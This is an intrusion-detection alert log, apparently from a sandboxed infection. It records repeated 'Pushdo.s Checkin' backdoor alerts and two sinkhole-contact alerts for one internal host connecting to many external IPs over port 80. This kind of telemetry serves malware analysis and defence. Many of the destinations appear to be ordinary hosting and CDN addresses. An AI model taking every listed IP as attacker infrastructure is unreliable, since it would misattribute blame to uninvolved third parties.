2024-10-25T11:17:35.347452+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52569	141.193.213.11	80	TCP
2024-10-25T11:17:35.358372+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52570	172.67.173.200	80	TCP
2024-10-25T11:17:35.405416+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52568	34.218.204.173	80	TCP
2024-10-25T11:17:35.509850+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52570	172.67.173.200	80	TCP
2024-10-25T11:17:35.534472+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52569	141.193.213.11	80	TCP
2024-10-25T11:17:35.784338+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52571	80.74.154.6	80	TCP
2024-10-25T11:17:35.843192+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52572	185.80.51.179	80	TCP
2024-10-25T11:17:35.867334+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52578	198.185.159.144	80	TCP
2024-10-25T11:17:36.015633+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52574	60.43.154.138	80	TCP
2024-10-25T11:17:36.042041+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52579	192.252.154.18	80	TCP
2024-10-25T11:17:36.075713+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52571	80.74.154.6	80	TCP
2024-10-25T11:17:36.106280+0200	2016998	ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)	1	192.168.2.5	52587	193.166.255.171	80	TCP
2024-10-25T11:17:36.126304+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52572	185.80.51.179	80	TCP
2024-10-25T11:17:36.190870+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52580	188.165.133.163	80	TCP
2024-10-25T11:17:36.302843+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52574	60.43.154.138	80	TCP
2024-10-25T11:17:36.305031+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52583	69.163.239.62	80	TCP
2024-10-25T11:17:36.405836+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52582	135.181.73.98	80	TCP
2024-10-25T11:17:36.447111+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52580	188.165.133.163	80	TCP
2024-10-25T11:17:36.504131+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52583	69.163.239.62	80	TCP
2024-10-25T11:17:36.510021+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52584	81.2.194.241	80	TCP
2024-10-25T11:17:36.584213+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52585	188.114.96.3	80	TCP
2024-10-25T11:17:36.691307+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52582	135.181.73.98	80	TCP
2024-10-25T11:17:36.977898+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52585	188.114.96.3	80	TCP
2024-10-25T11:17:37.007499+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52584	81.2.194.241	80	TCP
2024-10-25T11:17:37.019404+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52587	193.166.255.171	80	TCP
2024-10-25T11:17:37.091885+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52591	46.242.238.60	80	TCP
2024-10-25T11:17:37.609534+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52593	202.254.236.40	80	TCP
2024-10-25T11:17:37.755856+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52600	3.94.41.167	80	TCP
2024-10-25T11:17:37.786662+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52594	5.189.128.121	80	TCP
2024-10-25T11:17:37.801195+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52599	188.114.96.3	80	TCP
2024-10-25T11:17:37.884784+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52593	202.254.236.40	80	TCP
2024-10-25T11:17:37.933168+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52605	154.53.43.150	80	TCP
2024-10-25T11:17:38.004330+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52599	188.114.96.3	80	TCP
2024-10-25T11:17:38.064382+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52594	5.189.128.121	80	TCP
2024-10-25T11:17:38.073574+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52604	108.167.164.216	80	TCP
2024-10-25T11:17:38.076356+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52601	104.21.66.46	80	TCP
2024-10-25T11:17:38.110069+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52605	154.53.43.150	80	TCP
2024-10-25T11:17:38.219548+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52602	116.211.150.37	80	TCP
2024-10-25T11:17:38.477151+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52606	3.94.41.167	80	TCP
2024-10-25T11:17:38.996246+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52611	96.127.180.42	80	TCP
2024-10-25T11:17:38.996677+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52612	23.227.38.74	80	TCP
2024-10-25T11:17:39.331854+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52615	104.196.26.65	80	TCP
2024-10-25T11:17:39.331868+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52614	104.26.3.124	80	TCP
2024-10-25T11:17:39.484206+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52611	96.127.180.42	80	TCP
2024-10-25T11:17:39.662876+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	49761	137.118.26.67	80	TCP
2024-10-25T11:17:39.686400+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52615	104.196.26.65	80	TCP
2024-10-25T11:17:39.701903+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52614	104.26.3.124	80	TCP
2024-10-25T11:17:39.810527+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52616	217.19.237.54	80	TCP
2024-10-25T11:17:40.035379+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52618	75.119.202.130	80	TCP
2024-10-25T11:17:40.090170+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52618	75.119.202.130	80	TCP
2024-10-25T11:17:40.106112+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52621	51.79.51.72	80	TCP
2024-10-25T11:17:40.283253+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52619	122.128.109.107	80	TCP
2024-10-25T11:17:40.702244+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52625	195.78.66.65	80	TCP
2024-10-25T11:17:40.702342+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52629	69.163.182.181	80	TCP
2024-10-25T11:17:40.702481+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52630	13.248.169.48	80	TCP
2024-10-25T11:17:40.702538+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52627	18.245.31.21	80	TCP
2024-10-25T11:17:40.702602+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:40.811261+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52631	75.119.202.130	80	TCP
2024-10-25T11:17:40.986166+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52627	18.245.31.21	80	TCP
2024-10-25T11:17:40.988266+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.032335+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52634	3.94.41.167	80	TCP
2024-10-25T11:17:41.055721+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52635	107.180.98.101	80	TCP
2024-10-25T11:17:41.412355+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52635	107.180.98.101	80	TCP
2024-10-25T11:17:41.412405+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.412585+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52633	183.90.183.73	80	TCP
2024-10-25T11:17:41.445217+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52642	165.22.45.169	80	TCP
2024-10-25T11:17:41.466472+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52617	213.165.251.217	80	TCP
2024-10-25T11:17:41.473081+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52639	69.163.182.181	80	TCP
2024-10-25T11:17:41.612142+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52641	188.166.152.188	80	TCP
2024-10-25T11:17:41.651016+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52642	165.22.45.169	80	TCP
2024-10-25T11:17:41.680176+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.754719+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52643	3.94.41.167	80	TCP
2024-10-25T11:17:42.022416+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:42.409348+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52645	211.1.226.67	80	TCP
2024-10-25T11:17:42.466877+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52646	147.154.0.23	80	TCP
2024-10-25T11:17:42.712985+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52645	211.1.226.67	80	TCP
2024-10-25T11:17:42.847261+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52652	188.114.97.3	80	TCP
2024-10-25T11:17:42.972909+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52655	13.248.252.114	80	TCP
2024-10-25T11:17:43.093117+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52653	23.227.38.74	80	TCP
2024-10-25T11:17:43.127996+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52651	144.76.24.9	80	TCP
2024-10-25T11:17:43.133610+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52656	213.186.33.40	80	TCP
2024-10-25T11:17:43.150304+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52654	217.79.184.35	80	TCP
2024-10-25T11:17:43.243532+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52659	35.164.78.200	80	TCP
2024-10-25T11:17:43.250301+0200	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.5	52659	TCP
2024-10-25T11:17:43.746542+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52656	213.186.33.40	80	TCP
2024-10-25T11:17:43.748487+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52658	185.53.177.50	80	TCP
2024-10-25T11:17:44.348916+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52660	74.208.236.101	80	TCP
2024-10-25T11:17:44.498867+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52668	103.224.182.241	80	TCP
2024-10-25T11:17:44.590801+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52664	104.26.10.81	80	TCP
2024-10-25T11:17:44.646170+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52667	85.131.197.10	80	TCP
2024-10-25T11:17:44.709733+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52672	208.109.214.162	80	TCP
2024-10-25T11:17:44.983568+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52673	5.196.166.214	80	TCP
2024-10-25T11:17:45.021371+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52672	208.109.214.162	80	TCP
2024-10-25T11:17:45.092130+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52667	85.131.197.10	80	TCP
2024-10-25T11:17:45.542771+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52677	103.224.182.241	80	TCP
2024-10-25T11:17:45.692797+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52681	188.114.97.3	80	TCP
2024-10-25T11:17:46.326970+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52683	93.187.206.66	80	TCP
2024-10-25T11:17:52.365532+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52669	198.100.146.220	80	TCP
2024-10-25T11:17:53.966673+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52685	64.125.133.18	80	TCP
2024-10-25T11:17:54.943950+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52724	188.114.96.3	80	TCP
2024-10-25T11:17:55.401040+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52692	96.91.204.114	80	TCP
2024-10-25T11:17:55.742847+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52724	188.114.96.3	80	TCP
2024-10-25T11:17:57.432089+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52736	103.224.182.253	80	TCP
2024-10-25T11:17:57.720815+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52735	104.218.10.254	80	TCP
2024-10-25T11:17:58.369667+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52742	103.224.182.253	80	TCP
2024-10-25T11:17:59.862120+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52750	157.112.176.4	80	TCP
2024-10-25T11:18:01.309361+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52758	173.254.28.29	80	TCP
2024-10-25T11:18:01.548760+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52758	173.254.28.29	80	TCP
2024-10-25T11:18:04.705364+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52769	157.112.182.239	80	TCP
2024-10-25T11:18:06.372255+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52780	192.124.249.20	80	TCP
2024-10-25T11:18:06.404067+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52784	104.21.23.9	80	TCP
2024-10-25T11:18:06.432418+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:06.451671+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52785	3.19.116.195	80	TCP
2024-10-25T11:18:06.458987+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52786	70.39.251.249	80	TCP
2024-10-25T11:18:06.572070+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52780	192.124.249.20	80	TCP
2024-10-25T11:18:06.572524+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52784	104.21.23.9	80	TCP
2024-10-25T11:18:06.610744+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52787	80.93.82.33	80	TCP
2024-10-25T11:18:06.636671+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52789	34.218.204.173	80	TCP
2024-10-25T11:18:06.638989+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52786	70.39.251.249	80	TCP
2024-10-25T11:18:06.663310+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52783	59.106.19.204	80	TCP
2024-10-25T11:18:06.680532+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:06.693182+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52788	118.27.125.181	80	TCP
2024-10-25T11:18:06.921513+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52787	80.93.82.33	80	TCP
2024-10-25T11:18:06.947950+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.033390+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52800	104.21.23.9	80	TCP
2024-10-25T11:18:07.077636+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52802	192.124.249.20	80	TCP
2024-10-25T11:18:07.113021+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52799	3.19.116.195	80	TCP
2024-10-25T11:18:07.119628+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52798	70.39.251.249	80	TCP
2024-10-25T11:18:07.155744+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.196975+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.215661+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52804	3.19.116.195	80	TCP
2024-10-25T11:18:07.251457+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52801	80.93.82.33	80	TCP
2024-10-25T11:18:07.260079+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52797	34.218.204.173	80	TCP
2024-10-25T11:18:07.279465+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52800	104.21.23.9	80	TCP
2024-10-25T11:18:07.308397+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52794	118.27.125.181	80	TCP
2024-10-25T11:18:07.313409+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52802	192.124.249.20	80	TCP
2024-10-25T11:18:07.333474+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52793	59.106.19.204	80	TCP
2024-10-25T11:18:07.333831+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52808	104.26.7.221	80	TCP
2024-10-25T11:18:07.344609+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52798	70.39.251.249	80	TCP
2024-10-25T11:18:07.394096+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52805	34.149.87.45	80	TCP
2024-10-25T11:18:07.426281+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.442151+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.567439+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52801	80.93.82.33	80	TCP
2024-10-25T11:18:07.570032+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52811	104.21.88.198	80	TCP
2024-10-25T11:18:07.684792+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52809	142.250.186.147	80	TCP
2024-10-25T11:18:07.725399+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52811	104.21.88.198	80	TCP
2024-10-25T11:18:07.748059+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.820681+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52815	185.15.129.58	80	TCP
2024-10-25T11:18:07.838671+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52814	3.19.116.195	80	TCP
2024-10-25T11:18:07.879063+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52806	170.82.174.30	80	TCP
2024-10-25T11:18:07.995439+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:08.034811+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52817	54.161.222.85	80	TCP
2024-10-25T11:18:08.161475+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52825	104.26.7.221	80	TCP
2024-10-25T11:18:08.186289+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52823	188.114.97.3	80	TCP
2024-10-25T11:18:08.204754+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52820	34.149.87.45	80	TCP
2024-10-25T11:18:08.215423+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52826	104.21.88.198	80	TCP
2024-10-25T11:18:08.239675+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52827	185.15.129.58	80	TCP
2024-10-25T11:18:08.244330+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:08.246074+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52816	89.161.163.246	80	TCP
2024-10-25T11:18:08.357583+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52823	188.114.97.3	80	TCP
2024-10-25T11:18:08.366926+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52826	104.21.88.198	80	TCP
2024-10-25T11:18:08.398647+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52824	62.122.190.121	80	TCP
2024-10-25T11:18:08.408538+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52806	170.82.174.30	80	TCP
2024-10-25T11:18:08.421563+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52818	170.82.174.30	80	TCP
2024-10-25T11:18:08.472184+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52821	142.250.186.147	80	TCP
2024-10-25T11:18:08.682522+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52824	62.122.190.121	80	TCP
2024-10-25T11:18:08.717322+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52830	139.59.171.124	80	TCP
2024-10-25T11:18:08.719097+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52832	54.161.222.85	80	TCP
2024-10-25T11:18:08.745618+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52834	192.252.154.18	80	TCP
2024-10-25T11:18:08.780883+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52833	13.248.252.114	80	TCP
2024-10-25T11:18:08.795493+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52835	54.161.222.85	80	TCP
2024-10-25T11:18:08.896076+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52818	170.82.174.30	80	TCP
2024-10-25T11:18:08.927415+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52831	89.161.163.246	80	TCP
2024-10-25T11:18:08.947519+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52843	188.114.97.3	80	TCP
2024-10-25T11:18:08.957006+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52822	104.26.15.53	80	TCP
2024-10-25T11:18:08.972034+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52830	139.59.171.124	80	TCP
2024-10-25T11:18:09.124132+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52840	139.59.171.124	80	TCP
2024-10-25T11:18:09.175629+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52843	188.114.97.3	80	TCP
2024-10-25T11:18:09.186692+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52842	62.122.190.121	80	TCP
2024-10-25T11:18:09.198372+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52841	60.43.154.138	80	TCP
2024-10-25T11:18:09.224842+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52846	192.252.154.18	80	TCP
2024-10-25T11:18:09.229765+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52848	141.193.213.11	80	TCP
2024-10-25T11:18:09.258963+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52845	13.248.252.114	80	TCP
2024-10-25T11:18:09.375122+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52847	34.218.204.173	80	TCP
2024-10-25T11:18:09.375730+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52840	139.59.171.124	80	TCP
2024-10-25T11:18:09.428047+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52848	141.193.213.11	80	TCP
2024-10-25T11:18:09.458298+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52852	54.161.222.85	80	TCP
2024-10-25T11:18:09.487374+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52842	62.122.190.121	80	TCP
2024-10-25T11:18:09.498125+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52854	192.124.249.10	80	TCP
